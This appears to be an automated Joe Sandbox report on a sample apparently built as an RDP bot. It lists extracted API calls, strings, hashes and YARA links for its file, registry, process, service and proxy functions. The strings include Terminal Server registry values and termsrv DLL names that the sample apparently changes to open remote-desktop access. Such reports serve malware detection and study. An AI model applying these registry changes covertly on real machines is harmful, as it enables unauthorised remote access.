[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FFB22731DFD
fs_dir_create, xrefs: 00007FFB22731B9E, 00007FFB22731BD2, 00007FFB22731C69, 00007FFB22731D8F, 00007FFB22731DF6
NULL, xrefs: 00007FFB22731DE7

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: ea3e2038dfba584b526c33a7afe8fe4e3870c128d06ae37da3a39a9cd7f903c4
Instruction ID: d248aed5028ffd6345266c8c2a22951979ae9b75652349464a0b39f276e0ef3c
Opcode Fuzzy Hash: ea3e2038dfba584b526c33a7afe8fe4e3870c128d06ae37da3a39a9cd7f903c4
Instruction Fuzzy Hash: 3F714CE1F1CAC285FB225B36EC803B96751AB47744F540032DA5EC66B6DEACED45C302

Function 00007FFB22734830 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 259registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32 ref: 00007FFB227348BD
RegOpenKeyExA.ADVAPI32 ref: 00007FFB227349FF
RegCloseKey.ADVAPI32 ref: 00007FFB22734C3E

Strings

registry_enum_key, xrefs: 00007FFB227348FF, 00007FFB2273493B, 00007FFB2273496B, 00007FFB2273499E, 00007FFB227349D1, 00007FFB22734A1A, 00007FFB22734A78, 00007FFB22734C28, 00007FFB22734D25
(subkey != NULL), xrefs: 00007FFB22734997
[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FFB22734C2F
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB2273492D, 00007FFB2273495D, 00007FFB22734990, 00007FFB227349C3
NULL, xrefs: 00007FFB22734CFD
(root != NULL), xrefs: 00007FFB22734934
(subkey_len != NULL), xrefs: 00007FFB227349CA
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FFB22734906
[E] (%s) -> RegOpenKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB22734A21
[D] (%s) -> Step(root=0x%p,key=%s,enum_index=%lu,subkey=%s,subkey_len=%llu), xrefs: 00007FFB22734D2C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22734942, 00007FFB22734972, 00007FFB227349A5, 00007FFB227349D8
(key != NULL), xrefs: 00007FFB22734964
[E] (%s) -> RegEnumKeyExA failed(root=0x%p,key=%s,enum_index=%lu,subkey_len=%llu,res=%lu), xrefs: 00007FFB22734A7F

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseEnumOpen
String ID: (key != NULL)$(root != NULL)$(subkey != NULL)$(subkey_len != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$[D] (%s) -> Step(root=0x%p,key=%s,enum_index=%lu,subkey=%s,subkey_len=%llu)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegEnumKeyExA failed(root=0x%p,key=%s,enum_index=%lu,subkey_len=%llu,res=%lu)$[E] (%s) -> RegOpenKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_enum_key
API String ID: 1332880857-2775769510
Opcode ID: 3f9e11fcc17abf5ba9f096b44ca0ba3e785fb52bbfba26a764cf6a5b363ed596
Instruction ID: fce820499f1450b12a325b67ae39f63e6dd01a420e700075aed3d6a1227395f3
Opcode Fuzzy Hash: 3f9e11fcc17abf5ba9f096b44ca0ba3e785fb52bbfba26a764cf6a5b363ed596
Instruction Fuzzy Hash: 57B14DE2B0D5C692FA268764EC613F822A1AB83358F150136D54EC76B0DEFCED85D302

Function 00007FFB2273FB9C Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNEL32 ref: 00007FFB2273FBB6
WaitForSingleObject.KERNEL32 ref: 00007FFB2273FBDA
GetExitCodeProcess.KERNEL32 ref: 00007FFB2273FBE8
GetLastError.KERNEL32 ref: 00007FFB2273FC8F
TerminateProcess.KERNEL32 ref: 00007FFB2273FD7C
GetLastError.KERNEL32 ref: 00007FFB2273FD8A
GetLastError.KERNEL32 ref: 00007FFB2273FE71

Part of subcall function 00007FFB2273FB40: CloseHandle.KERNEL32 ref: 00007FFB2273FB58
Part of subcall function 00007FFB2273FB40: CloseHandle.KERNEL32 ref: 00007FFB2273FB5E

Strings

[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FFB2273FCA5
process_close, xrefs: 00007FFB2273FC18, 00007FFB2273FC43, 00007FFB2273FC72, 00007FFB2273FC9E, 00007FFB2273FD99, 00007FFB2273FE7E
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FFB2273FC35
(pi != NULL), xrefs: 00007FFB2273FC3C
[I] (%s) -> Done(pid=%lu,exit_code=%08lx), xrefs: 00007FFB2273FC1F
[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FFB2273FE85
[E] (%s) -> Failed(pid=%lu,err=%08x), xrefs: 00007FFB2273FC79
[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu), xrefs: 00007FFB2273FDA0
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273FC4A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseCodeExitHandle$ObjectSingleTerminateWait
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(pid=%lu,err=%08x)$[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu)$[I] (%s) -> Done(pid=%lu,exit_code=%08lx)$[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$process_close
API String ID: 1879646588-710610406
Opcode ID: 4273e8831345663ac9c1a7c465d2f287409f5200574b241b5aa6345e2d2d4d7d
Instruction ID: 5106209b90dd0b31eab475f41076a2bc7bd091afb9ee866901c99bd85720bd9b
Opcode Fuzzy Hash: 4273e8831345663ac9c1a7c465d2f287409f5200574b241b5aa6345e2d2d4d7d
Instruction Fuzzy Hash: 568129E2F4D59382FB225635EC902B866909F067D4F164032DD6ED72B49EECAD858383

Function 00007FFB227313D9 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FFB227313FA
GetLastError.KERNEL32 ref: 00007FFB227314DA

Strings

C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22731470, 00007FFB227314A9
c, xrefs: 00007FFB227314A1
P, xrefs: 00007FFB22731563
fs_attr_get, xrefs: 00007FFB22731447, 00007FFB2273147E, 00007FFB227314B7, 00007FFB227314E8, 00007FFB2273161C
(attr != NULL), xrefs: 00007FFB227314B0
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FFB227314EF
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FFB22731623
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22731485, 00007FFB227314BE
~, xrefs: 00007FFB2273155E
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273144E
(path != NULL), xrefs: 00007FFB22731477
, xrefs: 00007FFB227314FB
NULL, xrefs: 00007FFB2273160A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-3397184676
Opcode ID: 4821548b992a156d0be7b06a1d048e5a7c5903372e16c3e866e8ee0a102dd9eb
Instruction ID: 64f3baa949627cfe3b20123cf96fd9659c252634c516ff6a9316cc4142acc7f6
Opcode Fuzzy Hash: 4821548b992a156d0be7b06a1d048e5a7c5903372e16c3e866e8ee0a102dd9eb
Instruction Fuzzy Hash: DF510CE1F0C6A781FA265B25EC403B863606F067A5F554132CA5E866B1FEEDAD85C302

Function 00007FFB2273678C Relevance: 25.6, APIs: 4, Strings: 13, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB227367DF
strcat.MSVCRT ref: 00007FFB227367F7
strlen.MSVCRT ref: 00007FFB227367FF
strlen.MSVCRT ref: 00007FFB22736814

Part of subcall function 00007FFB227359B9: RegOpenKeyExA.ADVAPI32 ref: 00007FFB227359F3

Strings

dontdisplaylastusername, xrefs: 00007FFB22736955
PortNumber, xrefs: 00007FFB2273690C
=, xrefs: 00007FFB227368E5
SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 00007FFB22736888, 00007FFB227368CD
%Program, xrefs: 00007FFB227367B6
DP\, xrefs: 00007FFB227367D4
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00007FFB2273695C
ServiceDll, xrefs: 00007FFB22736829
Files%\R, xrefs: 00007FFB227367C0
fSingleSessionPerUser, xrefs: 00007FFB227368C6
SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 00007FFB22736830
fDenyTSConnections, xrefs: 00007FFB22736881
SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp, xrefs: 00007FFB22736913

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$Openstrcat
String ID: %Program$=$DP\$Files%\R$PortNumber$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System$SYSTEM\CurrentControlSet\Control\Terminal Server$SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp$SYSTEM\CurrentControlSet\Services\TermService\Parameters$ServiceDll$dontdisplaylastusername$fDenyTSConnections$fSingleSessionPerUser
API String ID: 3837987249-370723470
Opcode ID: 3609afca0902705998d8a7cda26a767b05c7a04b401a1f5521b35f1bf207de1c
Instruction ID: 497450dae7d4eef4a03696bdb93df4502480996f631798162151e1f208113b16
Opcode Fuzzy Hash: 3609afca0902705998d8a7cda26a767b05c7a04b401a1f5521b35f1bf207de1c
Instruction Fuzzy Hash: E9416EB160C7C284FB219B21FC013A57664EB4A794F844235EA9C877E9DFBCD604CB49

Function 00007FFB2273BEB8 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 191COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00007FFB2273BEE9
GetSystemMetrics.USER32 ref: 00007FFB2273BEFE
GetLastError.KERNEL32 ref: 00007FFB2273BF0F

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

GetLastError.KERNEL32 ref: 00007FFB2273C00C

Strings

(ratio != NULL), xrefs: 00007FFB2273BFC0
(height != NULL), xrefs: 00007FFB2273BF60
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273BF6E, 00007FFB2273BF9E, 00007FFB2273BFCE
sys_screen_info, xrefs: 00007FFB2273BF1B, 00007FFB2273BF67, 00007FFB2273BF97, 00007FFB2273BFC7, 00007FFB2273C018
[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu), xrefs: 00007FFB2273C01F
[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu), xrefs: 00007FFB2273BF22
c, xrefs: 00007FFB2273BFB1
C:/Projects/rdp/bot/codebase/sys.c, xrefs: 00007FFB2273BF59, 00007FFB2273BF89, 00007FFB2273BFB9
(width != NULL), xrefs: 00007FFB2273BF90

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastMetricsSystem$fflushfwrite
String ID: (height != NULL)$(ratio != NULL)$(width != NULL)$C:/Projects/rdp/bot/codebase/sys.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu)$[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu)$c$sys_screen_info
API String ID: 144387239-450147120
Opcode ID: 0c792507c01524b729b0f643efde5a87c41b26f24cceda20fbc26d6f7b70ed1f
Instruction ID: 7450628a65d4341f392bb5575e597570151945073c8ffb55b2534c8abb48409c
Opcode Fuzzy Hash: 0c792507c01524b729b0f643efde5a87c41b26f24cceda20fbc26d6f7b70ed1f
Instruction Fuzzy Hash: E8711BD5F0D5C785FB266E74EC507782251AB17748F50203AE50ECA2B4DEECAD859703

Function 00007FFB22734F84 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FFB22734FDC
RegCloseKey.ADVAPI32 ref: 00007FFB22735001

Strings

[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FFB22735018
registry_create_key, xrefs: 00007FFB22735011, 00007FFB2273503F, 00007FFB2273506F, 00007FFB227350A1, 00007FFB227350D2
[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB227350D9
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FFB227350A8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22735046, 00007FFB22735076
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB22735031, 00007FFB22735061
?, xrefs: 00007FFB22734FC0
(key != NULL), xrefs: 00007FFB22735068
NULL, xrefs: 00007FFB22735186
(root != NULL), xrefs: 00007FFB22735038

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseCreate
String ID: (key != NULL)$(root != NULL)$?$C:/Projects/rdp/bot/codebase/registry.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_create_key
API String ID: 2932200918-3746808683
Opcode ID: e09ce5def54cdbc52debb7ec7cccdf14546772f3e65c2a30113c9dc4adf42bd7
Instruction ID: 45db557d3d2ffbb29aa6bcdaeb9c3dc304aaedcaebd12d745b4155f76c1acd33
Opcode Fuzzy Hash: e09ce5def54cdbc52debb7ec7cccdf14546772f3e65c2a30113c9dc4adf42bd7
Instruction Fuzzy Hash: 11512DE2F0C5D381FA228734EC403B96260AB0A794F490136D99DD76B4DEFDAD85C782

Function 00007FFB22733714 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FFB22733773
GetFileTime.KERNEL32 ref: 00007FFB2273378E
GetLastError.KERNEL32 ref: 00007FFB2273379C
CloseHandle.KERNEL32 ref: 00007FFB227338BE

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227337DE, 00007FFB22733811
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB227337C9, 00007FFB227337FC
fs_file_stat, xrefs: 00007FFB227337D7, 00007FFB2273380A
(path != NULL), xrefs: 00007FFB227337D0
(ctime != NULL) || (atime != NULL) || (mtime != NULL), xrefs: 00007FFB22733803

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID: (ctime != NULL) || (atime != NULL) || (mtime != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_stat
API String ID: 2291555494-3647951244
Opcode ID: 37eb7d84cb5e8611ba4e5f8fae9de8031ce1b8bf1324ec1b5fecabb4903a95c5
Instruction ID: 284fd48b74609843f8550e35758c4ed6d1ef19b38cdb998d4730ab53f71f70d9
Opcode Fuzzy Hash: 37eb7d84cb5e8611ba4e5f8fae9de8031ce1b8bf1324ec1b5fecabb4903a95c5
Instruction Fuzzy Hash: D3513CE1F0D29382FA324A30DC453B862A0AB42768F194635D91DDF2F0DEACAC4487D2

Function 00007FFB22736AC0 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 93stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB22734246: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FFB2273427A

strlen.MSVCRT ref: 00007FFB22736B25
strlen.MSVCRT ref: 00007FFB22736B47
strlen.MSVCRT ref: 00007FFB22736B5B
strcpy.MSVCRT ref: 00007FFB22736B90
strlen.MSVCRT ref: 00007FFB22736BAC

Strings

%ProgramFiles%\RDP\, xrefs: 00007FFB22736B04
ts32*.dl, xrefs: 00007FFB22736B95
termsrv3, xrefs: 00007FFB22736C07
l, xrefs: 00007FFB22736BA3
v32.ini, xrefs: 00007FFB22736C15

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$EnvironmentExpandStringsstrcpy
String ID: %ProgramFiles%\RDP\$l$termsrv3$ts32*.dl$v32.ini
API String ID: 1745783570-2116699108
Opcode ID: c41eb2f5244f37d4435c0b4e09606931c24a4718de27b2a50ba76fbc60d5d844
Instruction ID: 1c3ecc2b9372e9cedf7819370876885cd30a86feb0d5f7938a5a33314454569f
Opcode Fuzzy Hash: c41eb2f5244f37d4435c0b4e09606931c24a4718de27b2a50ba76fbc60d5d844
Instruction Fuzzy Hash: 8D4162A270C7C291FB229B25E8503FA6251EB4A744F544031EB4D87BA6DEBCDE05C746

Function 00007FFB2273D6B0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB2273D74A
_errno.MSVCRT ref: 00007FFB2273D768
_errno.MSVCRT ref: 00007FFB2273D774

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273D730
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2273D71B
[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB2273D79B
(value != NULL), xrefs: 00007FFB2273D722
ini_get_uint32, xrefs: 00007FFB2273D729, 00007FFB2273D794

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-1670302297
Opcode ID: 393ef079ece544c21ea446ec4ece21935be9cb976ea0c479da9d52f71e1e7923
Instruction ID: da87ec3e8cedf1fa0f2578f8189cb440e992fbc60d2e018a3944a25557a1b771
Opcode Fuzzy Hash: 393ef079ece544c21ea446ec4ece21935be9cb976ea0c479da9d52f71e1e7923
Instruction Fuzzy Hash: 4A216DB1B0C68696F6229F25ED407AA7660AB46784F44403AFE4C87674CFBCED85C701

Function 00007FFB22739F8C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63memorysynchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB22739F9C
LeaveCriticalSection.KERNEL32 ref: 00007FFB22739FEC
WaitForSingleObject.KERNEL32 ref: 00007FFB2273A00F
GetProcessHeap.KERNEL32 ref: 00007FFB2273A01D
HeapFree.KERNEL32 ref: 00007FFB2273A02E

Strings

[I] (%s) -> Proxy closed(id=%llx), xrefs: 00007FFB2273A03E
[W] (%s) -> Proxy not exists(id=%llx), xrefs: 00007FFB2273A068
proxy_close, xrefs: 00007FFB2273A037, 00007FFB2273A061

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalHeapSection$EnterFreeLeaveObjectProcessSingleWait
String ID: [I] (%s) -> Proxy closed(id=%llx)$[W] (%s) -> Proxy not exists(id=%llx)$proxy_close
API String ID: 4048354325-2870541463
Opcode ID: 712f95854910f3e8e0aade919d4cd818beb71a9e247dbf8dfd635eaa8ce684fc
Instruction ID: a4327123e8a74a069d10e09c723a44dc954efcb2be4894848cb04a0fc21acc93
Opcode Fuzzy Hash: 712f95854910f3e8e0aade919d4cd818beb71a9e247dbf8dfd635eaa8ce684fc
Instruction Fuzzy Hash: B42129A1A1EA8781FF629B35DC5117862A0AF4BB60B184635DD3DC63F4DEACAC55C301

Function 00007FFB2273874A Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46servicememoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB227386DF
HeapFree.KERNEL32 ref: 00007FFB227386F0
CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
